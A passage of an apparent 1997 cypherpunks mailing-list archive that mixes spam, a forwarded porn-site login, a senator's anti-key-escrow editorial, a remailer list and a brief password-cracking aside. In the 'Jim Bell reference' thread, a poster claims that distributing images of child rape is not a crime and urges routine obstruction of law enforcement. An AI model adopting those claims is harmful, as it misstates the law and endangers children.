username and password -- it will help us rectify any problems much ]more quickly. ] ]Enter your username & password in the *exact same* upper/lower case ]patterns shown here: ] ]username: antonio ]password: 9183tc ] ]Please note: your username might have been modified if another member ]had already selected it. ]Have Fun! ]Jannine and kris, ]HotBOX Administration ]kris at danni.com ]http://www.danni.com ]http://hotbox.danni.com ] What is this stuff: http://hotbox.danni.com username: antonio password: 9183tc Why are they spamming me with their passwords? From real at freenet.edmonton.ab.ca Sun Jul 13 20:48:45 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Mon, 14 Jul 1997 11:48:45 +0800 Subject: your mail In-Reply-To: <199707100510.WAA13559@sirius.infonex.com> Message-ID: On Wed, 9 Jul 1997, Mix wrote: I think Vulis needs each of us to send ten copies of this back to him. > Timothy Mayhem's father, an idiot, stumbled across Timothy Mayhem's mother, an > imbecile, when she had no clothes on. Nine months later she had a little moron. > > ---- > '@ *> Timothy Mayhem > |\ 7 > / `-- _ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From enoch at zipcon.net Sun Jul 13 20:58:15 1997 From: enoch at zipcon.net (Mike Duvos) Date: Mon, 14 Jul 1997 11:58:15 +0800 Subject: Bizarre e-mail in the orphan mailbox In-Reply-To: Message-ID: <19970714034743.24942.qmail@zipcon.net> The Good Doctor writes: > What is this stuff: http://hotbox.danni.com > username: antonio > password: 9183tc > Why are they spamming me with their passwords? Apparently, they think you will give them a credit card number they can bill $9.95 a month to in perpetuity, just for the privelege of being able to click on some jpg files of chunky women with big hooters. Go figure. I've never understood phone sex either. -- Mike Duvos $ PGP 2.6 Public Key available $ enoch at zipcon.com $ via Finger $ From nobody at faust.guardian.co.uk Mon Jul 14 12:29:13 1997 From: nobody at faust.guardian.co.uk (Shift Control) Date: Mon, 14 Jul 1997 12:29:13 -0700 (PDT) Subject: Going to any festivals? Message-ID: <199707041829.SAA01668@faust.guardian.co.uk> In this week's Festival Issue of the award-winning Shift Control (http://www.shiftcontrol.com)... Reg Presley, lead singer with Sixties legends the Troggs, provides a sound argument for today's festivals; we supply full listings for 30 summer events throughout Britain and Europe; and this week's interactive quiz asks: how wild are you about festivals? Plus... "Take your own food. Some people see a festival as an opportunity to lose a couple of stone, and judging by most of the food sold at them it's not difficult to see why. Just because it's organic doesn't mean it's edible, man. Take your own bread and Pringles. A baguette is also a good idea, as you can wave it in the air during an Orbital gig." - Nick Green on what to take and what not to take to a summer festival. "While Richard Krajicek and friends took early showers, mud baths were the order of the day at Glastonbury. It seems that those at Glastonbury enjoyed a weekend of filthy, sweaty, fun, while at Wimbledon it was all code violations and double faults. If we are really to admire our sporting heroes, isn't it about time they had some more balls in the rain?" - Roland Rocks rants about British tennis's lack of sporting courage. "We ate felafel, chick-pea curry and something with yellow peas poured from a bucket, then decided to head backstage. There we bumped into too many people we know who proceeded go on about their hotel rooms, showers and marble-lined bathroom suites with pre-heated loo paper. We decide it was time to either leave or kill them." - Simon Waldman on the great Glasto wash-out. Shift Control: raking the muck, NOW, at http://www.shiftcontrol.com __________________________________________ Shift Control is produced by the Guardian's New Media Lab with help from Boddingtons and Stella Artois Dry To unsubscribe from this mailing list send e-mail to shiftcontrol-request at nml.guardian.co.uk with the following text in the body of the mail message: unsubscribe From declan at well.com Sun Jul 13 23:20:01 1997 From: declan at well.com (Declan McCullagh) Date: Mon, 14 Jul 1997 14:20:01 +0800 Subject: Keep Feds' nose out of the Net, by Sen. John Ashcroft Message-ID: ---------- Forwarded message ---------- Date: Sun, 13 Jul 1997 22:53:17 -0700 (PDT) From: Declan McCullagh To: fight-censorship-announce at vorlon.mit.edu Subject: Keep Feds' nose out of the Net, by Sen. John Ashcroft >Copyright (c) 1997 Investors Business Daily, All rights reserved. >Investor's Business Daily - Guest Editorial (07/11/97) >Encryption: Keep Feds' Nose Out Of The Net >By SEN. JOHN ASHCROFT > > J. Edgar Hoover would have loved this. The Clinton administration wants >government to be able to read international computer communications - >financial transactions, personal e-mail and proprietary information sent >abroad - all in the name of national security. > >In a proposal that raises obvious concerns about Americans' privacy, >President Clinton wants to give agencies the keys for decoding all exported >U.S. software and Internet communications. Such a policy also would tamper >with the competitive advantage that our U.S. software companies currently >enjoy in the field of encryption technology. > Not only would Big Brother be looming over the shoulders of >international cybersurfers, he also threatens to render our state-of-the-art >computer software engineers obsolete and unemployed. > Granted, the Internet could be used to commit crimes, and advanced >encryption could disguise such activity. However, we do not provide the >government with phone jacks outside our homes for unlimited wiretaps. Why, >then, should we grant government the Orwellian capability to listen at will >and in real time to our communications across the Web? > The protections of the Fourth Amendment are clear. The right to >protection from unlawful searches is an indivisible American value. > The president has proposed that American companies and computer users >supply the government with decryption keys to high-level encryption programs. >Yet European software producers are free to produce computer encryption codes >of all levels of security without providing keys to any government authority. > Buyers of encryption software value security above all else. They will >ultimately choose airtight encryption programs - not those for which the U.S. >government maintains keys. > In spite of this obvious fact, the president is trying to foist his >rigid policy on the exceptionally fluid and fast-paced computer industry. >Furthermore, recent developments in decryption technology cast doubt on the >wisdom of any government meddling in this industry. > Two weeks ago, the 56-bit algorithm government standard encryption code >that protects most U.S. electronic financial transactions, from ATM cards to >wire transfers, was broken by a low-powered 90-megahertz Pentium processor. > In 1977, when this code was first approved by the U.S. government as a >standard, it was deemed unbreakable. And for good reason - there are 72 >quadrillion different combinations in a 56-bit code. However, with today's >technology, these 72 quadrillion different combinations can each be tried >-it's only a matter of time and determination. > Two days after this encryption code was broken, however, the Senate >Commerce Committee voted, in accordance with administration policy, to force >American software companies to perpetuate this already compromised 56-bit >encryption system. > Meanwhile, 128- bit encryption software from European firms is available >to every Web user. Interestingly, European firms can import this supersecure >encryption technology (originally developed by Americans) to the U.S., but >U.S. companies are forbidden by law from exporting these same programs to >other countries. > So to move forward with the president's policy or the Commerce >Committee's bill would be an act of folly, creating a cadre of government >peeping Toms and causing severe damage to our vibrant software industries. >Government would be caught in a perpetual game of catch-up with whiz-kid >code-breakers and industry advances. > Majority Leader Trent Lott, R-Miss., has signaled his objection to both >proposals. He and I would like to work to bring to the floor a version of the >encryption legislation by Sen. Conrad Burns, R-Mont. Burns' bill closely >resembles the popular House encryption bill sponsored by Rep. Bob Goodlatte, >R- Va. Both measures would not require sharing of keys with the goverment. > In essence, these proposals would give U.S. encryption software >manufacturers the freedom to compete on equal footing in the worldwide >marketplace. They would set up a quasi-governmental board for the industry to >decide encryption bit strength based on the current level of international >technology. > U.S. companies are on the front line of online technologies - the value- >added industries of the future. > The best policy for encryption technology is one that can rapidly react >to breakthroughs in decoding capability and roll back encryption limits as >needed. The Burns and Goodlatte proposals would accomplish this. In contrast, >the Clinton administration's unnecessary and invasive interest in >international e-mail is a wholly unhealthy precedent, especially given this >administration's track record on FBI files and Internal Revenue Service >snooping. > Every medium by which people communicate can be exploited by those with >illegal or immoral intentions. Nevertheless, this is no reason to hand Big >Brother the keys to unlock our e-mail diaries, open our ATM records or >translate our international communications.## > > John Ashcroft is a Republican U.S. senator from Missouri and a member of >the Senate Commerce Committee. From nobody at REPLAY.COM Sun Jul 13 23:35:28 1997 From: nobody at REPLAY.COM (Anonymous) Date: Mon, 14 Jul 1997 14:35:28 +0800 Subject: No Subject Message-ID: <199707140617.IAA09395@basement.replay.com> From 61766626 at onestopshop.net Mon Jul 14 20:45:01 1997 From: 61766626 at onestopshop.net (61766626 at onestopshop.net) Date: Mon, 14 Jul 1997 20:45:01 -0700 (PDT) Subject: Try us FREE with $10.00 Long Distance...9.9 Cents per Minute! Message-ID: STOP PAYING TOO MUCH FOR LONG DISTANCE! FREE $10.00 Long Distance for giving us a try! Click REPLY to get the details. Please place "9.9 cents" in the subject field. Here are some of the services available: 1) Flat rate of 9.9 cents per minute Long Distance! 2) 17 cents per minute Calling Card Rate/No sur-charges! 3) 1-800 service 4) Internet Service 5) Keep Reading! Making money is optional! WE NEED DISTRIBUTORS! Just by subscribing to our service, you can make great money literally giving people $10.00 of FREE LONG DISTANCE! You're automatically in business for yourself! Great ONLINE MARKETING PROGRAM! Who wouldn't want such a LOW RATE? **Distributorships are an optional feature of our program and their is no extra charge to qualify for commissions** Click Reply to get the details. Please place "9.9 cents" in the subject field. To be removed from our mailing list, place "remove" in the subject field. From jmatk at tscm.com Mon Jul 14 22:07:24 1997 From: jmatk at tscm.com (James M. Atkinson, Comm-Eng) Date: Mon, 14 Jul 1997 22:07:24 -0700 (PDT) Subject: Spread Spectrum Update Message-ID: A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 3858 bytes Desc: not available URL: From raph at CS.Berkeley.EDU Mon Jul 14 07:20:25 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 14 Jul 1997 22:20:25 +0800 Subject: List of reliable remailers Message-ID: <199707141350.GAA02026@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord"; $remailer{'cyber'} = ' alpha pgp'; $remailer{'weasel'} = ' newnym pgp'; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = " cpunk pgp hash latent cut ek"; $remailer{"hidden"} = " cpunk pgp hash latent cut"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 14 Jul 97 6:47:04 PDT remailer email address history latency uptime ----------------------------------------------------------------------- mix mixmaster at remail.obscura.com ..-.--*.-*.+ 7:06:50 99.95% weasel config at weasel.owl.de -+++.++--++ 2:00:20 99.91% squirrel mix at squirrel.owl.de -+++.++--+++ 2:00:46 99.86% nym config at nym.alias.net +#*###+*#*#+ 1:36 99.82% winsock winsock at rigel.cyberpass.net ----.------+ 5:42:48 99.78% cyber alias at alias.cyberpass.net ++***# ***** 8:13 99.71% replay remailer at replay.com *****+*** * 4:23 99.25% jam remailer at cypherpunks.ca **++.*+ ** * 13:03 99.10% reno middleman at cyberpass.net -***+ **+ - 1:02:17 98.68% hidden remailer at hidden.net 4:44:03 -14.70% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From dlv at bwalk.dm.com Mon Jul 14 08:34:07 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 14 Jul 1997 23:34:07 +0800 Subject: Bizarre e-mail in the orphan mailbox In-Reply-To: <19970714034743.24942.qmail@zipcon.net> Message-ID: Mike Duvos writes: > > The Good Doctor writes: > > > What is this stuff: http://hotbox.danni.com > > username: antonio > > password: 9183tc > > > Why are they spamming me with their passwords? > > Apparently, they think you will give them a credit card number they can > bill $9.95 a month to in perpetuity, just for the privelege of being able > to click on some jpg files of chunky women with big hooters. > > Go figure. But lots of these used to be available for free on alt.binaries.pictures. erotica the last time I looked (which was admittedly many years ago). Conspiracy theory: do you think the spammers are flooding the "free" sources of good stuff (such as usenet) to eliminate the competition, so people would have to pay them for same? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From 46781220 at 20384.com Mon Jul 14 23:48:39 1997 From: 46781220 at 20384.com (46781220 at 20384.com) Date: Mon, 14 Jul 1997 23:48:39 -0700 (PDT) Subject: IMMEDIATE CASH Message-ID: <> Dear Friend, I would like to share a spectacular new income opportunity made simple & easy where you can turn $125 into a $1,000 or more a month. $100 Fast-Start Bonus per person paid daily. Part time from your home. NO HYPE, NO PRESSURE & NO OBLIGATION Call: (800)586-1291 NOTE: THIS IS THE ONLY MESSAGE YOU WILL RECEIVE FROM US. YOUR NAME IS AUTOMATICALLY DELETED FROM OUR LIST UPON TRANSMISSION. From 46781220 at 20384.com Mon Jul 14 23:48:39 1997 From: 46781220 at 20384.com (46781220 at 20384.com) Date: Mon, 14 Jul 1997 23:48:39 -0700 (PDT) Subject: IMMEDIATE CASH Message-ID: <> Dear Friend, I would like to share a spectacular new income opportunity made simple & easy where you can turn $125 into a $1,000 or more a month. $100 Fast-Start Bonus per person paid daily. Part time from your home. NO HYPE, NO PRESSURE & NO OBLIGATION Call: (800)586-1291 NOTE: THIS IS THE ONLY MESSAGE YOU WILL RECEIVE FROM US. YOUR NAME IS AUTOMATICALLY DELETED FROM OUR LIST UPON TRANSMISSION. From paul at fatmans.demon.co.uk Tue Jul 15 01:02:55 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Tue, 15 Jul 1997 01:02:55 -0700 (PDT) Subject: Fuck the Usenet Cabal In-Reply-To: <836q0D18w165w@bwalk.dm.com> Message-ID: > ObCrypto: I was offered a 76GB changer for $350. I thought of the following > demo application: a user e-mails a piece of a Unix passwd file (password+salt) > to a server, which looks up a password that works. Problem is, 76GB doesn't > seem sufficient for the lookup table. :-( (Assume infinite time available > on a fast box.) I have to confess ignorance over the form of the password in the unix passwd file, how much salt is used, does it vary from ?nix to ?nix or is it pretty standard? Maybe a small(ish) lookup table/ dictionary attack could be mounted using this. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From nobody at REPLAY.COM Mon Jul 14 11:06:00 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 15 Jul 1997 02:06:00 +0800 Subject: Jerry Springer Crypto Special Message-ID: <199707141747.TAA01314@basement.replay.com> Sitting at home this morning I decided to turn the TV to the Jerry Springer show, assuming that, since his network was trying to promote him as a News person, his show would no doubt be dealing with a serious issue such as the future of the InterNet, encryption, censorship, etc. Instead, the show turned out to be titled, "I Cut Off My Manhood." It was a delightfully artful mosaic about a guy who cut off his penis with gardening shears, the queer stalker who had killed the penisless guy's cat by throwing a recliner across the room, the stalker's lesbian friend and two fairly average relatives of the self-mutilater who apparently were there to confirm for us that cutting off one's penis with a pair of gardening shears is a bit over the edge, to say the best. Although I was disappointed in that encryption issues were not being addressed on the show, I did get somewhat enlightened as to what we can do to help spread strong encryption. The Jerry Springer audience got to see pictures of the mutilated penis (I assume in close-up color glossies) while those of us at home had to be content to watch the audience members groan and try not to throw up. I immediately realized that if the show had been on WebTV and pictures of the mutilated penis were available to home viewers in encrypted form, that "Applied Cryptography" would soon be on the Best Seller lists around the nation. Thinking about crypto issues from the standpoint of female body parts, I realized that GAK and Key Recovery are likely to become a part of our everyday reality because Silicon Valley Crypto has the same allure as Silicon Breasts. We live in a bottle-fed society that has learned from infancy to accept substitutes for the real thing. From topless bars to the beach, we are willing to settle for the illusion that matches the advertised product our minds have been sold, rather than accept the forms that exist in reality and take the time and effort to find ones that truly suit our needs and desires. Is a society that eats food that sometimes has less nutritional value than the package it comes in, are the masses going to demand "the real thing" in a crypto product, or will they settle for a watered down product which "meets government standards" and comes in a pretty box? The masses don't have the time or expertise to test the nutritional value of their food or the security of their crypto. They depend on the government, corporations and the press to provide them with the products and information to make a rational choice as to what truly meets their needs. The government's main interest is power over the citizens; the corporation's main interest is profiting from the citizens; the press' main interest is pandering to government and corporations enough to be kept from getting cut "out of the loop" of money and power. The only hope the masses have of getting anything resembling a square deal in regard to the products and information they are fed is for there to be enough individuals within the government, corporations and the press who are willing to resist the mindless, self-perpetuating evolution of these non-human entities, and make an effort to provide products and information which have real value based on the goals which they are designed and advertised to meet. There was a discussion on the list as to whether the cypherpunks who have "gone corporate" are a blessing or a curse to the spread of strong crypto. I think that the answer lies in the individual and in the final product of their efforts. Perhaps crypto needs Colonel Tom Parker to promote it, with Barnum and Baily bringing the Silicon Rockettes to town to give away pictures of of a mutilated penis which can only be viewed using a strong crypto product. ("As seen on the Jerry Springer show!") The Dark Forces are making a concerted bid to set the direction and the tone of crypto debate and crypto development in a manner which will lead to the negation of the constitutional right to have our freedom and our privacy unfettered by government intrusion. It is not government, nor corporations, nor the press, who ultimately decide whether our freedom and privacy will be maintained or whether it will be compromised. It is the individuals who make a decision whether to go along with the abrogation of our rights in their own individual self-interest, or whether they will speak out and/or resist those who put the goals of organizations over the interests of the people. Our government and our society are being directed by manipulation of the same mob mentality that is in evidence on the morning talk shows. The voice of reason gets shouted down unless there are enough people who realize that the answer to noise is more noise. The greater the position and authority of an individual, the more noise they are able to make to counter the efforts of those who are attempting to work the mob into a frenzy for their own aims. Thus the greater is their responsibility to act in the long-term interest of freedom. At the same time, unless there are people of conscience at every level of government, corporation and society who are willing to take a personal stand, and to support those in higher positions who take a stand, then freedom is doomed. There is a Swiss bank security guard who discovered bank records about to be shredded which detailed the accounts of Jews who were victims of the Holocaust. He chose to resist "going along" with the government laws, corporate rules, and societal taboos against making a decision based on one's own conscience, and he "stole" the records in order to prevent them from being destroyed. He was threatened with death, prosecution, had to leave his home and country behind and faces an uncertain future. There is a cost to resisting the fascism of organizations and of society itself, and the less that resistance is spread among us, then the greater the cost that each of us has to bear. Resist. Make noise. The freedom you save could be your own. TruthMonger From ant at notatla.demon.co.uk Mon Jul 14 13:26:58 1997 From: ant at notatla.demon.co.uk (Antonomasia) Date: Tue, 15 Jul 1997 04:26:58 +0800 Subject: law as enemy: was Re: Jim Bell reference Message-ID: <199707141829.TAA03188@notatla.demon.co.uk> Paul, Ant> Makes me think the issue is the preservation of many Ant> thousands of _unathorised_ taps. What else could explain that viewpoint? PB> Don`t cloud the issue: The simple fact is strong encryption can and will PB> obstruct law enforcement agencies in their "fight" against terrorism, PB> child pornography, drugs etc... good. Strong widespread crypto will cut down on much crime in the form of electronic theft, blackmail etc. I expect some obstruction of law enforcement, but not enough to outweigh the benefits. Despite the occasionally glaring failures of a legal system it is still overall of use to the public. Ant> Incidentally, I'm against terrorism, child molestation etc etc. Ant> I'm confident most other cypherpunks are too, so no nonsense please Ant> about free crypto supporters being backers of [crime of the month]. PB> Once again, you fail to give adequate qualification to this statement, PB> what forms of terrorism are you against: one mans terrorist is another PB> mans freedom fighter. Were the French resistance during WWII terrorists? Not everything is relative. WW2 was a clearly recognised war, in which France had been invaded. PB> Would you then say their actions were wrong? As for child molestation, PB> this is a clear cut case, most libertarians follow the basic rule that a PB> crime has to be a direct act of agression, and infringe the rights of PB> another person, therefore child molestation clearly comes into this PB> category, distributing pictures of children being molested, raped, PB> buggered, tortured and killed is clearly not a crime. Please clarify your PB> position on this. Such photography would suggest at least cooperation with those you'd regard as criminals. My position is toward the Trei/Sameer end of the scale and away from the extreme anarchist views of you, TCM and Jim Bell. Not that you 3 are always wrong, but in the issue of 'law always enemy' I completely fail to see where you get your ideas. Sufficiently clarified ? PB> Above are two examples of why strong cryptography is a good thing, law PB> enforcement should be routinely obstructed as often as possible. Are you going to post your home address and holiday plans on the list so we give you the chance to gloat over failing law enforcement ? There's probably not much point in pursuing this discussion. -- ############################################################### # Antonomasia ant at notatla.demon.co.uk # # See http://www.notatla.demon.co.uk/ # ############################################################### From dformosa at st.nepean.uws.edu.au Mon Jul 14 15:43:59 1997 From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa}) Date: Tue, 15 Jul 1997 06:43:59 +0800 Subject: Bizarre e-mail in the orphan mailbox In-Reply-To: Message-ID: On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote: > Conspiracy theory: do you think the spammers are flooding the "free" > sources of good stuff (such as usenet) to eliminate the competition, > so people would have to pay them for same? Porn4porn infact confess that thats what thay are doing. Please excuse my spelling as I suffer from agraphia see the url in my header. Never trust a country with more peaple then sheep. Buy easter bilbies. Save the ABC Is $0.08 per day too much to pay? ex-net.scum and prouud I'm sorry but I just don't consider 'because its yucky' a convincing argument From paul at fatmans.demon.co.uk Mon Jul 14 15:59:48 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Tue, 15 Jul 1997 06:59:48 +0800 Subject: Jim Bell reference In-Reply-To: <199707120851.JAA01075@notatla.demon.co.uk> Message-ID: > Baloney. The figures you give later indicate 1000 or 2000 investigations > a year meeting computer encryption. Even if they were all unbreakable > that's 2000/year in a population of how many ? Dents the clear-up rate > by how much ? Makes me think the issue is the preservation of many > thousands of _unathorised_ taps. What else could explain that viewpoint? Don`t cloud the issue: The simple fact is strong encryption can and will obstruct law enforcement agencies in their "fight" against terrorism, child pornography, drugs etc... good. > Incidentally, I'm against terrorism, child molestation etc etc. > I'm confident most other cypherpunks are too, so no nonsense please > about free crypto supporters being backers of [crime of the month]. Once again, you fail to give adequate qualification to this statement, what forms of terrorism are you against: one mans terrorist is another mans freedom fighter. Were the French resistance during WWII terrorists? Would you then say their actions were wrong? As for child molestation, this is a clear cut case, most libertarians follow the basic rule that a crime has to be a direct act of agression, and infringe the rights of another person, therefore child molestation clearly comes into this category, distributing pictures of children being molested, raped, buggered, tortured and killed is clearly not a crime. Please clarify your position on this. > > A subject in a child pornography case used encryption in > > transmitting obscene and pornographic images of children > > over the Internet. > > > > A major international drug trafficking subject recently used a > > telephone encryption device to frustrate court-approved > > electronic surveillance. Above are two examples of why strong cryptography is a good thing, law enforcement should be routinely obstructed as often as possible. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From promo at globalserve.net Tue Jul 15 07:21:15 1997 From: promo at globalserve.net (promo at globalserve.net) Date: Tue, 15 Jul 1997 07:21:15 -0700 (PDT) Subject: Traffic On Your Site Down Message-ID: <199707151420.KAA00654@smtp.globalserve.net> ______________________________________________________________________ If you wish to be removed from our future mailings, please reply with "Remove" in the Subject line and we will automatically block you from our future mailings. _________________________________________________________________________ Are you tired of finding link pages and once listed get no traffic? Sick of trying to find places to get you banner displayed for FREE? Do you want to increase your traffic and sales? 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After you up-load your banner to Sex Link Network your banner ad is placed in automatic rotation - immediately. Sign up NOW for membership and get more traffic to your site today! Sign-up TODAY at http://www.sexlink.net From nobody at REPLAY.COM Mon Jul 14 16:34:40 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 15 Jul 1997 07:34:40 +0800 Subject: law as enemy: was Re: Jim Bell reference Message-ID: <199707142311.BAA24145@basement.replay.com> Antonomasia wrote: > Paul Bradley wrote: > Ant> Makes me think the issue is the preservation of many > Ant> thousands of _unathorised_ taps. What else could explain that viewpoint? > > PB> Don`t cloud the issue: The simple fact is strong encryption can and will > PB> obstruct law enforcement agencies in their "fight" against terrorism, > PB> child pornography, drugs etc... good. You are both right. Strong crypto will obstruct LEA's from doing the *millions* of unauthorized taps on communications in their "holy war" against ?crime?. > Strong widespread crypto will cut down on much crime in the form of > electronic theft, blackmail etc. I expect some obstruction of law > enforcement, but not enough to outweigh the benefits. Strong crypto will merely shift the nature of crimes being commited from LEA-originated to criminal-originated, which is the way God has planned it to be from the beginning. If we are going to play good-guy/bad-guy, there ought to be a real difference between the two. Kids on a playground know that much. > Despite the > occasionally glaring failures of a legal system it is still overall > of use to the public. Attitudes like this are the cause of the erosion of our freedom and privacy. "Give me compromise of freedom or give me death." "It is better for ten innocent men to be convicted than for one guilty child molester to go free." Why do we never hear anyone saying "Sure, the legal system just fucked me silly and unjustly ruined my life, but it is 'still overall of use to the public'."? The reason is that a roll of the dice isn't good enough when it comes to *ourself* receiving justice. Anyone who is comfortable for a roll of dice to decide the justice received by *the other guy* is a fool and your enemy. > PB> Would you then say their actions were wrong? As for child molestation, > PB> this is a clear cut case, most libertarians follow the basic rule that a > PB> crime has to be a direct act of agression, and infringe the rights of > PB> another person, therefore child molestation clearly comes into this > PB> category, distributing pictures of children being molested, raped, > PB> buggered, tortured and killed is clearly not a crime. Please clarify your > PB> position on this. > > Such photography would suggest at least cooperation with > those you'd regard as criminals. Bullshit. The current hot-ticket item in Canada is video of the girls being tortured, raped and murdered by Paul Bernardo. These videos are coming from the people involved in his prosecution and imprisonment. Are the TV networks cooperating with criminals by profiting from the pictures of the OKC bombing, etc? Their extensive coverage certainly makes such actions a good public forum for the potential terrorist. > PB> law > PB> enforcement should be routinely obstructed as often as possible. > > Are you going to post your home address and holiday plans on the list > so we give you the chance to gloat over failing law enforcement ? I have no doubt that Paul would love to do so, if it weren't for the fact that he would be subjected to imprisonment and lawsuits if he took action to protect his home and property from intruders during his absence and some ignorant thief got himself hurt or killed. Legislators and LEA's bemoan the fact that the constitution ties their hands in fighting crime, but the fact is that they are creating a mountain of new crimes through legislation and stings instead of putting their effort into dealing with real, existing crime. Miscarriage of justice is the rule of the day in the current legal system. The fact that the reins of power and control of the media is not in the hands of the poor, minorities, and social outcasts means that those who are busy participating in and/or supporting the gross miscarriages of justice are those who paint the system's public face. > There's probably not much point in pursuing this discussion. Not as long as you willing to settle for corruption of justice and the compromise of freedom being justifiable as being of "overall of use to the public." I don't choose to sell my weapons and walk around with a "kick me" sign on my back, trusting in strangers to defend my life and liberty. I resent those who choose to do so intimating that I am some kind of lunatic/radical for choosing to take personal responsibility for defending my life, liberty and beliefs. I am not against joining with others in forming organizations which are of mutual benefit to all. I am merely against these organizations being in the hands of self-serving criminals who want control over all of my movement and communication in order to guard their usurped power. I am willing to defend myself, my neighbors, my country. I am not willing to defend a corrupt system which imperils the freedom and privacy of myself and my fellow citizens. TruthMonger From nobody at secret.squirrel.owl.de Mon Jul 14 16:35:38 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Tue, 15 Jul 1997 07:35:38 +0800 Subject: Campingsport Amsterdam Message-ID: <19970714222102.32274.qmail@squirrel.owl.de> For those planning to attend HIP97, there is already a cypherpunk party coming from the West coast. Some details can be seen on the hip website http://www.hip97.nl People making other arrangements may be interested in this tidbit from the NL tourist board. X-From: I.Princen at inter.NL.net Mon Jul 14 12:33:37 1997 X-Sender: iprincen at solair1.inter.NL.net Date: Mon, 14 Jul 1997 14:32:09 +0200 From: Ingrid Princen Subject: Re: Camping arrangements Good afternoon, Please contact: Campingsport Amsterdam Jan van Galenstraat 271 1056 BZ Amsterdam tel.: 020-6128911 fax : 020-6184509 Kind regards, Ingrid Princen Netherlands Board of Tourism At 08:00 PM 7/9/97 -0000, you wrote: >Dear Sir, > >I wonder if you could please tell me where to obtain >(hire or buy) tents near Amsterdam in early August >for a camp near Almere. > >10 man army style tents may suit us best. > >If you can pass on details of any tent shops or >hire shops that would be very useful. Payment will >probably be by credit card. > >Thanks much. From dlv at 